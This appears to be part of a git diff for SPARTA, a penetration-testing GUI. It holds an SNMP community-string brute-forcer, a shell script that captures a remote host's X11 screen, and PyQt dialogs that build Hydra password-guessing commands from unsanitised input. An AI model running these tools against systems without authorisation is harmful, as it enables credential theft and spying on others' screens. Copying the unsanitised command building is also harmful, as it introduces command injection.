Create the list of communities + if options.dictionary: # Read from file + with open(options.dictionary) as f: + communities=f.read().splitlines() #Potential DoS + elif options.community: # Single community + communities.append(options.community) + elif options.stdin: # Read from input + communities=[] + else: #if not options.community and not options.dictionary and not options.stdin: + communities=default_communities + + #We ensure that default communities are included + #if 'public' not in communities: + # communities.append('public') + #if 'private' not in communities: + # communities.append('private') + + if options.stdin: + options.interactive=False + + results=[] + + if options.stdin: + print >> sys.stderr, "Reading input for community strings ..." + else: + print >> sys.stderr, "Trying %d community strings ..." % len(communities) + + if options.sploitego: #sploitego method of bruteforce + if ips: + for ip in ips: + for version in ['v1', 'v2c']: + bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) + result=bf.guess(communities) + for i in result: + r=SNMPResults() + r.addr=(ip,options.port) + r.version=version + r.community=i + results.append(r) + print ip, version+'\t',result + else: + parser.print_help() + + else: + results = password_brutefore(options, communities, ips) + + #We identify whether the community strings are read or write + if results: + printout("\nTrying identified strings for READ-WRITE ...",WHITE) + testSNMPWrite(results,options) + else: + printout("\nNo Community strings found",RED) + exit(0) + + #We attempt to enumerate the router + while options.enum: + SNMPenumeration(select_community(results,options),options) + + #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False): + if get_input("Enumerate with different community? (y/N):",'y',options): + continue + else: + break + + if not options.enum: + select_community(results,options) + + print "Finished!" + +if __name__ == "__main__": + main() diff --git a/scripts/x11screenshot.sh b/scripts/x11screenshot.sh new file mode 100644 index 00000000..9119dfdd --- /dev/null +++ b/scripts/x11screenshot.sh @@ -0,0 +1,33 @@ +#!/bin/bash +# X11screenshot- This script will take a screenshot over X11, save it to an output folder and open it +# SECFORCE - Antonio Quina + +if [ $# -eq 0 ] + then + echo "Usage: $0 " + echo "eg: $0 10.10.10.10 0 /outputfolder" + exit + else + IP="$1" +fi + +if [ "$2" == "" ] + then + DSP="0" + else + DSP="$2" +fi + +if [ "$3" == "" ] + then + OUTFOLDER="/tmp" + else + OUTFOLDER="$3" +fi + +echo "xwd -root -screen -silent -display $IP:$DSP > $OUTFOLDER/x11screenshot-$IP.xwd" +xwd -root -screen -silent -display $IP:$DSP > $OUTFOLDER/x11screenshot-$IP.xwd +echo "convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg" +convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg +echo "eog $OUTFOLDER/x11screenshot-$IP.jpg" +eog $OUTFOLDER/x11screenshot-$IP.jpg \ No newline at end of file diff --git a/ui/__init__.py b/ui/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/ui/dialogs.py b/ui/dialogs.py new file mode 100644 index 00000000..d458b64d --- /dev/null +++ b/ui/dialogs.py @@ -0,0 +1,836 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt4.QtGui import * # for filters dialog +from app.auxiliary import * # for timestamps +from six import u as unicode + +# progress bar widget that displayed when long operations are taking place (eg: nmap, opening project) +class ProgressWidget(QtGui.QDialog): + def __init__(self, text, parent=None): + QtGui.QDialog.__init__(self, parent) + self.text = text + self.setWindowTitle(text) + self.setupLayout() + + def setupLayout(self): + self.setWindowModality(True) + vbox = QtGui.QVBoxLayout() + self.label = QtGui.QLabel('') + self.progressBar = QtGui.QProgressBar() + vbox.addWidget(self.label) + vbox.addWidget(self.progressBar) + hbox = QtGui.QHBoxLayout() + hbox.addStretch(1) + vbox.addLayout(hbox) + self.setLayout(vbox) + + def setProgress(self, progress): + self.progressBar.setValue(progress) + + def setText(self, text): + self.text = text + self.setWindowTitle(text) + + def reset(self, text): + self.text = text + self.setWindowTitle(text) + self.setProgress(0) + +# this class is used to display screenshots and perform zoom operations on the images +class ImageViewer(QtGui.QWidget): + def __init__(self, parent=None): + QtGui.QWidget.__init__(self, parent) + + self.scaleFactor = 0.0 + + self.imageLabel = QtGui.QLabel() + self.imageLabel.setBackgroundRole(QtGui.QPalette.Base) + self.imageLabel.setSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored) + self.imageLabel.setScaledContents(True) + + self.scrollArea = QtGui.QScrollArea() + self.scrollArea.setBackgroundRole(QtGui.QPalette.Dark) + self.scrollArea.setWidget(self.imageLabel) + + def open(self, fileName): + if fileName: + image = QtGui.QImage(fileName) + if image.isNull(): + QtGui.QMessageBox.information(self, "Image Viewer","Cannot load %s." % fileName) + return + + self.imageLabel.setPixmap(QtGui.QPixmap.fromImage(image)) + self.scaleFactor = 1.0 + self.fitToWindow() # by default, fit to window/widget size + + def zoomIn(self): + self.scaleImage(1.25) + + def zoomOut(self): + self.scaleImage(0.8) + + def normalSize(self): + self.fitToWindow(False) + self.imageLabel.adjustSize() + self.scaleFactor = 1.0 + + def fitToWindow(self, fit=True): + self.scrollArea.setWidgetResizable(fit) + + def scaleImage(self, factor): + self.fitToWindow(False) + self.scaleFactor *= factor + self.imageLabel.resize(self.scaleFactor * self.imageLabel.pixmap().size()) + + self.adjustScrollBar(self.scrollArea.horizontalScrollBar(), factor) + self.adjustScrollBar(self.scrollArea.verticalScrollBar(), factor) + + def adjustScrollBar(self, scrollBar, factor): + scrollBar.setValue(int(factor * scrollBar.value() + ((factor - 1) * scrollBar.pageStep()/2))) + +# this class is used to display the process status GIFs +class ImagePlayer(QtGui.QWidget): + def __init__(self, filename, parent=None): + QtGui.QWidget.__init__(self, parent) + self.movie = QtGui.QMovie(filename) # load the file into a QMovie + self.movie_screen = QtGui.QLabel() + self.movie_screen.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) + main_layout = QtGui.QVBoxLayout() + main_layout.addWidget(self.movie_screen) + self.setLayout(main_layout) + self.movie.setCacheMode(QtGui.QMovie.CacheAll) + self.movie.setSpeed(100) + self.movie_screen.setMovie(self.movie) + self.movie.start() +# self.show() + +# dialog shown when the user selects "Add host(s)" from the menu +class AddHostsDialog(QtGui.QDialog): + def __init__(self, parent=None): + QtGui.QDialog.__init__(self, parent) + self.setupLayout() + + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Add host(s) to scope') + self.setFixedSize(340, 210) + + self.flayout = QtGui.QVBoxLayout() + + self.label1 = QtGui.QLabel(self) + self.label1.setText('IP Range') + self.textinput = QtGui.QLineEdit(self) + self.hlayout = QtGui.QHBoxLayout() + self.hlayout.addWidget(self.label1) + self.hlayout.addWidget(self.textinput) + + self.label2 = QtGui.QLabel(self) + self.label2.setText('eg: 192.168.1.0/24 10.10.10.10-20 1.2.3.4 ') + self.font = QtGui.QFont('Arial', 10) + self.label2.setFont(self.font) + self.label2.setAlignment(Qt.AlignRight) + self.spacer = QSpacerItem(15,15) + ### + self.validationLabel = QtGui.QLabel(self) + self.validationLabel.setText('Invalid input. Please try again!') + self.validationLabel.setStyleSheet('QLabel { color: red }') + ### + self.spacer2 = QSpacerItem(5,5) + + self.discovery = QtGui.QCheckBox(self) + self.discovery.setText('Run nmap host discovery') + self.discovery.toggle() # on by default + self.nmap = QtGui.QCheckBox(self) + self.nmap.setText('Run staged nmap scan') + self.nmap.toggle() # on by default + + self.cancelButton = QPushButton('Cancel', self) + self.cancelButton.setMaximumSize(110, 30) + self.addButton = QPushButton('Add to scope', self) + self.addButton.setMaximumSize(110, 30) + self.addButton.setDefault(True) + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.cancelButton) + self.hlayout2.addWidget(self.addButton) + self.flayout.addLayout(self.hlayout) + self.flayout.addWidget(self.label2) + ### + self.flayout.addWidget(self.validationLabel) + self.validationLabel.hide() + ### + self.flayout.addItem(self.spacer) + self.flayout.addWidget(self.discovery) + self.flayout.addWidget(self.nmap) + self.flayout.addItem(self.spacer2) + self.flayout.addLayout(self.hlayout2) + self.setLayout(self.flayout) + +class BruteWidget(QtGui.QWidget): + + def __initold__(self, ip, port, service, hydraServices, hydraNoUsernameServices, hydraNoPasswordServices, bruteSettings, generalSettings, parent=None): + QtGui.QWidget.__init__(self, parent) + self.ip = ip + self.port = port + self.service = service + self.hydraServices = hydraServices + self.hydraNoUsernameServices = hydraNoUsernameServices + self.hydraNoPasswordServices = hydraNoPasswordServices + self.bruteSettings = bruteSettings + self.generalSettings = generalSettings + self.pid = -1 # will store hydra's pid so we can kill it + self.setupLayout() + + self.browseUsersButton.clicked.connect(lambda: self.wordlistDialog()) + self.browsePasswordsButton.clicked.connect(lambda: self.wordlistDialog('Choose password list')) + self.usersTextinput.textEdited.connect(self.singleUserRadio.toggle) + self.passwordsTextinput.textEdited.connect(self.singlePassRadio.toggle) + self.userlistTextinput.textEdited.connect(self.userListRadio.toggle) + self.passlistTextinput.textEdited.connect(self.passListRadio.toggle) + self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) + + def __init__(self, ip, port, service, settings, parent=None): + QtGui.QWidget.__init__(self, parent) + self.ip = ip + self.port = port + self.service = service + +# self.hydraServices = hydraServices +# self.hydraNoUsernameServices = hydraNoUsernameServices +# self.hydraNoPasswordServices = hydraNoPasswordServices +# self.bruteSettings = bruteSettings +# self.generalSettings = generalSettings + self.settings = settings + self.pid = -1 # will store hydra's pid so we can kill it + self.setupLayout() + + self.browseUsersButton.clicked.connect(lambda: self.wordlistDialog()) + self.browsePasswordsButton.clicked.connect(lambda: self.wordlistDialog('Choose password list')) + self.usersTextinput.textEdited.connect(self.singleUserRadio.toggle) + self.passwordsTextinput.textEdited.connect(self.singlePassRadio.toggle) + self.userlistTextinput.textEdited.connect(self.userListRadio.toggle) + self.passlistTextinput.textEdited.connect(self.passListRadio.toggle) + self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) + + def setupLayout(self): + + # sometimes nmap service name is different from hydra service name + if self.service is None: + self.service = '' + elif self.service == "login": + self.service = "rlogin" + elif self.service == "ms-sql-s": + self.service = "mssql" + elif self.service == "ms-wbt-server": + self.service = "rdp" + elif self.service == "netbios-ssn" or self.service == "netbios-ns" or self.service == "microsoft-ds": + self.service = "smb" + elif self.service == "postgresql": + self.service = "postgres" + elif self.service == "vmware-auth": + self.service = "vmauthd" + + self.label1 = QtGui.QLabel() + self.label1.setText('IP') + #self.label1.setFixedWidth(10) # experimental + #self.label1.setAlignment(Qt.AlignLeft) + self.ipTextinput = QtGui.QLineEdit() + self.ipTextinput.setText(str(self.ip)) + self.ipTextinput.setFixedWidth(125) + + self.label2 = QtGui.QLabel() + self.label2.setText('Port') + #self.label2.setFixedWidth(10) # experimental + #self.label2.setAlignment(Qt.AlignLeft) + self.portTextinput = QtGui.QLineEdit() + self.portTextinput.setText(str(self.port)) + self.portTextinput.setFixedWidth(60) + + self.label3 = QtGui.QLabel() + self.label3.setText('Service') + #self.label3.setFixedWidth(10) # experimental + #self.label3.setAlignment(Qt.AlignLeft) + self.serviceComboBox = QtGui.QComboBox() + self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) + self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + + # autoselect service from combo box + for i in range(len(self.settings.brute_services.split(","))): + if str(self.service) in self.settings.brute_services.split(",")[i]: + self.serviceComboBox.setCurrentIndex(i) + break + +# self.labelPath = QtGui.QLineEdit() # this is the extra input field to insert the path to brute force +# self.labelPath.setFixedWidth(800) +# self.labelPath.setText('/') + + self.runButton = QPushButton('Run') + self.runButton.setMaximumSize(110, 30) + self.runButton.setDefault(True) # new + + ### + self.validationLabel = QtGui.QLabel(self) + self.validationLabel.setText('Invalid input. Please try again!') + self.validationLabel.setStyleSheet('QLabel { color: red }') + ### + + self.hlayout = QtGui.QHBoxLayout() + self.hlayout.addWidget(self.label1) + self.hlayout.addWidget(self.ipTextinput) + self.hlayout.addWidget(self.label2) + self.hlayout.addWidget(self.portTextinput) + self.hlayout.addWidget(self.label3) + self.hlayout.addWidget(self.serviceComboBox) + self.hlayout.addWidget(self.runButton) + ### + self.hlayout.addWidget(self.validationLabel) + self.validationLabel.hide() + ### + self.hlayout.addStretch() + + self.singleUserRadio = QtGui.QRadioButton() + self.label4 = QtGui.QLabel() + self.label4.setText('Username') + self.label4.setFixedWidth(70) + self.usersTextinput = QtGui.QLineEdit() + self.usersTextinput.setFixedWidth(125) + self.usersTextinput.setText(self.settings.brute_default_username) + self.userListRadio = QtGui.QRadioButton() + self.label5 = QtGui.QLabel() + self.label5.setText('Username list') + self.label5.setFixedWidth(90) + self.userlistTextinput = QtGui.QLineEdit() + self.userlistTextinput.setFixedWidth(125) + self.browseUsersButton = QPushButton('Browse') + self.browseUsersButton.setMaximumSize(80, 30) + + self.foundUsersRadio = QtGui.QRadioButton() + self.label9 = QtGui.QLabel() + self.label9.setText('Found usernames') + self.label9.setFixedWidth(117) + + self.userGroup = QtGui.QButtonGroup() + self.userGroup.addButton(self.singleUserRadio) + self.userGroup.addButton(self.userListRadio) + self.userGroup.addButton(self.foundUsersRadio) + self.foundUsersRadio.toggle() + + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.singleUserRadio) + self.hlayout2.addWidget(self.label4) + self.hlayout2.addWidget(self.usersTextinput) + self.hlayout2.addWidget(self.userListRadio) + self.hlayout2.addWidget(self.label5) + self.hlayout2.addWidget(self.userlistTextinput) + self.hlayout2.addWidget(self.browseUsersButton) + self.hlayout2.addWidget(self.foundUsersRadio) + self.hlayout2.addWidget(self.label9) + self.hlayout2.addStretch() + + #add usernames wordlist + self.singlePassRadio = QtGui.QRadioButton() + self.label6 = QtGui.QLabel() + self.label6.setText('Password') + self.label6.setFixedWidth(70) + self.passwordsTextinput = QtGui.QLineEdit() + self.passwordsTextinput.setFixedWidth(125) + self.passwordsTextinput.setText(self.settings.brute_default_password) + self.passListRadio = QtGui.QRadioButton() + self.label7 = QtGui.QLabel() + self.label7.setText('Password list') + self.label7.setFixedWidth(90) + self.passlistTextinput = QtGui.QLineEdit() + self.passlistTextinput.setFixedWidth(125) + self.browsePasswordsButton = QPushButton('Browse') + self.browsePasswordsButton.setMaximumSize(80, 30) + + self.foundPasswordsRadio = QtGui.QRadioButton() + self.label10 = QtGui.QLabel() + self.label10.setText('Found passwords') + self.label10.setFixedWidth(115) + + self.passGroup = QtGui.QButtonGroup() + self.passGroup.addButton(self.singlePassRadio) + self.passGroup.addButton(self.passListRadio) + self.passGroup.addButton(self.foundPasswordsRadio) + self.foundPasswordsRadio.toggle() + + self.label8 = QtGui.QLabel() + self.label8.setText('Threads') + self.label8.setFixedWidth(60) + self.threadOptions = [] + for i in range(1, 129): + self.threadOptions.append(str(i)) + self.threadsComboBox = QtGui.QComboBox() + self.threadsComboBox.insertItems(0, self.threadOptions) + self.threadsComboBox.setMinimumContentsLength(3) + self.threadsComboBox.setMaxVisibleItems(3) + self.threadsComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.threadsComboBox.setCurrentIndex(15) + + self.hlayout3 = QtGui.QHBoxLayout() + self.hlayout3.addWidget(self.singlePassRadio) + self.hlayout3.addWidget(self.label6) + self.hlayout3.addWidget(self.passwordsTextinput) + self.hlayout3.addWidget(self.passListRadio) + self.hlayout3.addWidget(self.label7) + self.hlayout3.addWidget(self.passlistTextinput) + self.hlayout3.addWidget(self.browsePasswordsButton) + self.hlayout3.addWidget(self.foundPasswordsRadio) + self.hlayout3.addWidget(self.label10) + self.hlayout3.addStretch() + self.hlayout3.addWidget(self.label8) + self.hlayout3.addWidget(self.threadsComboBox) + #self.hlayout3.addStretch() + + #label6.setText('Try blank password') + self.checkBlankPass = QtGui.QCheckBox() + self.checkBlankPass.setText('Try blank password') + self.checkBlankPass.toggle() + #add 'try blank password' + #label7.setText('Try login as password') + self.checkLoginAsPass = QtGui.QCheckBox() + self.checkLoginAsPass.setText('Try login as password') + self.checkLoginAsPass.toggle() + #add 'try login as password' + #label8.setText('Loop around users') + self.checkLoopUsers = QtGui.QCheckBox() + self.checkLoopUsers.setText('Loop around users') + self.checkLoopUsers.toggle() + #add 'loop around users' + #label9.setText('Exit on first valid') + self.checkExitOnValid = QtGui.QCheckBox() + self.checkExitOnValid.setText('Exit on first valid') + self.checkExitOnValid.toggle() + #add 'exit after first valid combination is found' + self.checkVerbose = QtGui.QCheckBox() + self.checkVerbose.setText('Verbose') + + self.checkAddMoreOptions = QtGui.QCheckBox() + self.checkAddMoreOptions.setText('Additional Options') + + ### + self.labelPath = QtGui.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath.setFixedWidth(800) + self.labelPath.setText('/') + ### + + self.hlayout4 = QtGui.QHBoxLayout() + self.hlayout4.addWidget(self.checkBlankPass) + self.hlayout4.addWidget(self.checkLoginAsPass) + self.hlayout4.addWidget(self.checkLoopUsers) + self.hlayout4.addWidget(self.checkExitOnValid) + self.hlayout4.addWidget(self.checkVerbose) + self.hlayout4.addWidget(self.checkAddMoreOptions) + self.hlayout4.addStretch() + + self.layoutAddOptions = QtGui.QHBoxLayout() + self.layoutAddOptions.addWidget(self.labelPath) + self.labelPath.hide() + self.layoutAddOptions.addStretch() + + self.display = QtGui.QPlainTextEdit() + self.display.setReadOnly(True) + if self.settings.general_tool_output_black_background == 'True': + #self.display.setStyleSheet("background: rgb(0,0,0)") # black background + #self.display.setTextColor(QtGui.QColor('white')) # white font + p = self.display.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + self.display.setPalette(p) + self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + + self.vlayout = QtGui.QVBoxLayout() + self.vlayout.addLayout(self.hlayout) + self.vlayout.addLayout(self.hlayout4) + self.vlayout.addLayout(self.layoutAddOptions) + self.vlayout.addLayout(self.hlayout2) + self.vlayout.addLayout(self.hlayout3) + self.vlayout.addWidget(self.display) + self.setLayout(self.vlayout) + + # TODO: need to check all the methods that need an additional input field and add them here +# def showMoreOptions(self, text): +# if str(text) == "http-head": +# self.labelPath.show() +# else: +# self.labelPath.hide() + + def showMoreOptions(self): + if self.checkAddMoreOptions.isChecked(): + self.labelPath.show() + else: + self.labelPath.hide() + + def wordlistDialog(self, title='Choose username list'): + + if title == 'Choose username list': + filename = QtGui.QFileDialog.getOpenFileName(self, title, self.settings.brute_username_wordlist_path) + self.userlistTextinput.setText(str(filename)) + self.userListRadio.toggle() + else: + filename = QtGui.QFileDialog.getOpenFileName(self, title, self.settings.brute_password_wordlist_path) + self.passlistTextinput.setText(str(filename)) + self.passListRadio.toggle() + + def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): + + self.ip = self.ipTextinput.text() + self.port = self.portTextinput.text() + self.service = str(self.serviceComboBox.currentText()) + self.command = "hydra "+self.ip+" -s "+self.port+" -o " + self.outputfile = runningfolder+"/hydra/"+getTimestamp()+"-"+self.ip+"-"+self.port+"-"+self.service+".txt" + self.command += "\""+self.outputfile+"\"" # deal with paths with spaces + + #self.service = str(self.serviceComboBox.currentText()) + + #if not self.service == "snmp": # no username required for snmp + if not self.service in self.settings.brute_no_username_services.split(","): + if self.singleUserRadio.isChecked(): + self.command += " -l "+self.usersTextinput.text() + elif self.foundUsersRadio.isChecked(): + self.command += " -L \""+userlistPath+"\"" + else: + self.command += " -L \""+self.userlistTextinput.text()+"\"" + + #if not self.service == "smtp-enum": # no password required for smtp-enum + if not self.service in self.settings.brute_no_password_services.split(","): + if self.singlePassRadio.isChecked(): + + + #print self.passwordsTextinput.text() + #escaped_password = self.passwordsTextinput.text().replace('"', '\"') + escaped_password = self.passwordsTextinput.text().replace('"', '\"\"\"')#.replace("'", "\'") + #print escaped_password + self.command += " -p \""+escaped_password+"\"" + #self.command += " -p "+self.passwordsTextinput.text() + + elif self.foundPasswordsRadio.isChecked(): + self.command += " -P \""+passlistPath+"\"" + else: + self.command += " -P \""+self.passlistTextinput.text()+"\"" + + if self.checkBlankPass.isChecked(): + self.command += " -e n" + if self.checkLoginAsPass.isChecked(): + self.command += "s" + + elif self.checkLoginAsPass.isChecked(): + self.command += " -e s" + + if self.checkLoopUsers.isChecked(): + self.command += " -u" + + if self.checkExitOnValid.isChecked(): + self.command += " -f" + + if self.checkVerbose.isChecked(): + self.command += " -V" + + self.command += " -t "+str(self.threadsComboBox.currentText()) + + self.command += " "+self.service + +# if self.labelPath.isVisible(): # append the additional field's content, if it was visible + if self.checkAddMoreOptions.isChecked(): + self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? + + #command = "echo "+escaped_password+" > /tmp/hydra-sub.txt" + #os.system(unicode(command)) + return self.command + + def getPort(self): + return self.port + + def toggleRunButton(self): + if self.runButton.text() == 'Run': + self.runButton.setText('Stop') + else: + self.runButton.setText('Run') + + def resetDisplay(self): # used to be able to display the tool output in both the Brute tab and the tool display panel + self.display.setParent(None) + self.display = QtGui.QPlainTextEdit() + self.display.setReadOnly(True) + if self.settings.general_tool_output_black_background == 'True': + #self.display.setStyleSheet("background: rgb(0,0,0)") # black background + #self.display.setTextColor(QtGui.QColor('white')) # white font + p = self.display.palette() + p.setColor(QtGui.QPalette.Base, Qt.black) # black background + p.setColor(QtGui.QPalette.Text, Qt.white) # white font + self.display.setPalette(p) + self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + self.vlayout.addWidget(self.display) + +# dialog displayed when the user clicks on the advanced filters button +class FiltersDialog(QtGui.QDialog): + def __init__(self, parent=None): + QtGui.QDialog.__init__(self, parent) + self.setupLayout() + self.applyButton.clicked.connect(self.close) + self.cancelButton.clicked.connect(self.close) + + def setupLayout(self): + self.setModal(True) + self.setWindowTitle('Filters') + self.setFixedSize(640, 200) + + hostsBox = QGroupBox("Host Filters") + self.hostsUp = QCheckBox("Show up hosts") + self.hostsUp.toggle() + self.hostsDown = QCheckBox("Show down hosts") + self.hostsChecked = QCheckBox("Show checked hosts") + self.hostsChecked.toggle() + hostLayout = QVBoxLayout() + hostLayout.addWidget(self.hostsUp) + hostLayout.addWidget(self.hostsDown) + hostLayout.addWidget(self.hostsChecked) + hostsBox.setLayout(hostLayout) + + portsBox = QGroupBox("Port Filters") + self.portsOpen = QCheckBox("Show open ports") + self.portsOpen.toggle() + self.portsFiltered = QCheckBox("Show filtered ports") + self.portsClosed = QCheckBox("Show closed ports") + self.portsTcp = QCheckBox("Show tcp") + self.portsTcp.toggle() + self.portsUdp = QCheckBox("Show udp") + self.portsUdp.toggle() + servicesLayout = QVBoxLayout() + servicesLayout.addWidget(self.portsOpen) + servicesLayout.addWidget(self.portsFiltered) + servicesLayout.addWidget(self.portsClosed) + servicesLayout.addWidget(self.portsTcp) + servicesLayout.addWidget(self.portsUdp) + portsBox.setLayout(servicesLayout) + + keywordSearchBox = QGroupBox("Keyword Filters") + self.hostKeywordText = QLineEdit() + keywordLayout = QVBoxLayout() + keywordLayout.addWidget(self.hostKeywordText) + keywordSearchBox.setLayout(keywordLayout) + + hlayout = QtGui.QHBoxLayout() + hlayout.addWidget(hostsBox) + hlayout.addWidget(portsBox) + hlayout.addWidget(keywordSearchBox) + + buttonLayout = QtGui.QHBoxLayout() + self.applyButton = QPushButton('Apply', self) + self.applyButton.setMaximumSize(110, 30) + self.cancelButton = QPushButton('Cancel', self) + self.cancelButton.setMaximumSize(110, 30) + buttonLayout.addWidget(self.cancelButton) + buttonLayout.addWidget(self.applyButton) + + layout = QVBoxLayout() + layout.addLayout(hlayout) + layout.addLayout(buttonLayout) + self.setLayout(layout) + + def getFilters(self): + #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] + return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] + + def setCurrentFilters(self, filters): + if not self.hostsUp.isChecked() == filters[0]: + self.hostsUp.toggle() + + if not self.hostsDown.isChecked() == filters[1]: + self.hostsDown.toggle() + + if not self.hostsChecked.isChecked() == filters[2]: + self.hostsChecked.toggle() + + if not self.portsOpen.isChecked() == filters[3]: + self.portsOpen.toggle() + + if not self.portsFiltered.isChecked() == filters[4]: + self.portsFiltered.toggle() + + if not self.portsClosed.isChecked() == filters[5]: + self.portsClosed.toggle() + + if not self.portsTcp.isChecked() == filters[6]: + self.portsTcp.toggle() + + if not self.portsUdp.isChecked() == filters[7]: + self.portsUdp.toggle() + + self.hostKeywordText.setText(" ".join(filters[8])) + + + def setKeywords(self, keywords): + self.hostKeywordText.setText(keywords) + +# widget in which the host information is shown +class HostInformationWidget(QtGui.QWidget): + + def __init__(self, informationTab, parent=None): + QtGui.QWidget.__init__(self, parent) + self.informationTab = informationTab + self.setupLayout() + self.updateFields() # set default values + + def setupLayout(self): + self.HostStatusLabel = QtGui.QLabel() + + self.HostStateLabel = QtGui.QLabel() + self.HostStateText = QtGui.QLabel() + self.HostStateLayout = QtGui.QHBoxLayout() + self.HostStateLayout.addSpacing(20) + self.HostStateLayout.addWidget(self.HostStateLabel) + self.HostStateLayout.addWidget(self.HostStateText) + self.HostStateLayout.addStretch() + + self.OpenPortsLabel = QtGui.QLabel() + self.OpenPortsText = QtGui.QLabel() + self.OpenPortsLayout = QtGui.QHBoxLayout() + self.OpenPortsLayout.addSpacing(20) + self.OpenPortsLayout.addWidget(self.OpenPortsLabel) + self.OpenPortsLayout.addWidget(self.OpenPortsText) + self.OpenPortsLayout.addStretch() + + self.ClosedPortsLabel = QtGui.QLabel() + self.ClosedPortsText = QtGui.QLabel() + self.ClosedPortsLayout = QtGui.QHBoxLayout() + self.ClosedPortsLayout.addSpacing(20) + self.ClosedPortsLayout.addWidget(self.ClosedPortsLabel) + self.ClosedPortsLayout.addWidget(self.ClosedPortsText) + self.ClosedPortsLayout.addStretch() + + self.FilteredPortsLabel = QtGui.QLabel() + self.FilteredPortsText = QtGui.QLabel() + self.FilteredPortsLayout = QtGui.QHBoxLayout() + self.FilteredPortsLayout.addSpacing(20) + self.FilteredPortsLayout.addWidget(self.FilteredPortsLabel) + self.FilteredPortsLayout.addWidget(self.FilteredPortsText) + self.FilteredPortsLayout.addStretch() + ################### + self.AddressLabel = QtGui.QLabel() + + self.IP4Label = QtGui.QLabel() + self.IP4Text = QtGui.QLabel() + self.IP4Layout = QtGui.QHBoxLayout() + self.IP4Layout.addSpacing(20) + self.IP4Layout.addWidget(self.IP4Label) + self.IP4Layout.addWidget(self.IP4Text) + self.IP4Layout.addStretch() + + self.IP6Label = QtGui.QLabel() + self.IP6Text = QtGui.QLabel() + self.IP6Layout = QtGui.QHBoxLayout() + self.IP6Layout.addSpacing(20) + self.IP6Layout.addWidget(self.IP6Label) + self.IP6Layout.addWidget(self.IP6Text) + self.IP6Layout.addStretch() + + self.MacLabel = QtGui.QLabel() + self.MacText = QtGui.QLabel() + self.MacLayout = QtGui.QHBoxLayout() + self.MacLayout.addSpacing(20) + self.MacLayout.addWidget(self.MacLabel) + self.MacLayout.addWidget(self.MacText) + self.MacLayout.addStretch() + + self.dummyLabel = QtGui.QLabel() + self.dummyText = QtGui.QLabel() + self.dummyLayout = QtGui.QHBoxLayout() + self.dummyLayout.addSpacing(20) + self.dummyLayout.addWidget(self.dummyLabel) + self.dummyLayout.addWidget(self.dummyText) + self.dummyLayout.addStretch() + ######### + self.OSLabel = QtGui.QLabel() + + self.OSNameLabel = QtGui.QLabel() + self.OSNameText = QtGui.QLabel() + self.OSNameLayout = QtGui.QHBoxLayout() + self.OSNameLayout.addSpacing(20) + self.OSNameLayout.addWidget(self.OSNameLabel) + self.OSNameLayout.addWidget(self.OSNameText) + self.OSNameLayout.addStretch() + + self.OSAccuracyLabel = QtGui.QLabel() + self.OSAccuracyText = QtGui.QLabel() + self.OSAccuracyLayout = QtGui.QHBoxLayout() + self.OSAccuracyLayout.addSpacing(20) + self.OSAccuracyLayout.addWidget(self.OSAccuracyLabel) + self.OSAccuracyLayout.addWidget(self.OSAccuracyText) + self.OSAccuracyLayout.addStretch() + + font = QtGui.QFont() # in each different section + font.setBold(True) + self.HostStatusLabel.setText('Host Status') + self.HostStatusLabel.setFont(font) + self.HostStateLabel.setText("State:") + self.OpenPortsLabel.setText('Open Ports:') + self.ClosedPortsLabel.setText('Closed Ports:') + self.FilteredPortsLabel.setText('Filtered Ports:') + self.AddressLabel.setText('Addresses') + self.AddressLabel.setFont(font) + self.IP4Label.setText('IPv4:') + self.IP6Label.setText('IPv6:') + self.MacLabel.setText('MAC:') + self.OSLabel.setText('Operating System') + self.OSLabel.setFont(font) + self.OSNameLabel.setText('Name:') + self.OSAccuracyLabel.setText('Accuracy:') + ######### + self.vlayout_1 = QtGui.QVBoxLayout() + self.vlayout_2 = QtGui.QVBoxLayout() + self.vlayout_3 = QtGui.QVBoxLayout() + self.hlayout_1 = QtGui.QHBoxLayout() + + self.vlayout_1.addWidget(self.HostStatusLabel) + self.vlayout_1.addLayout(self.HostStateLayout) + self.vlayout_1.addLayout(self.OpenPortsLayout) + 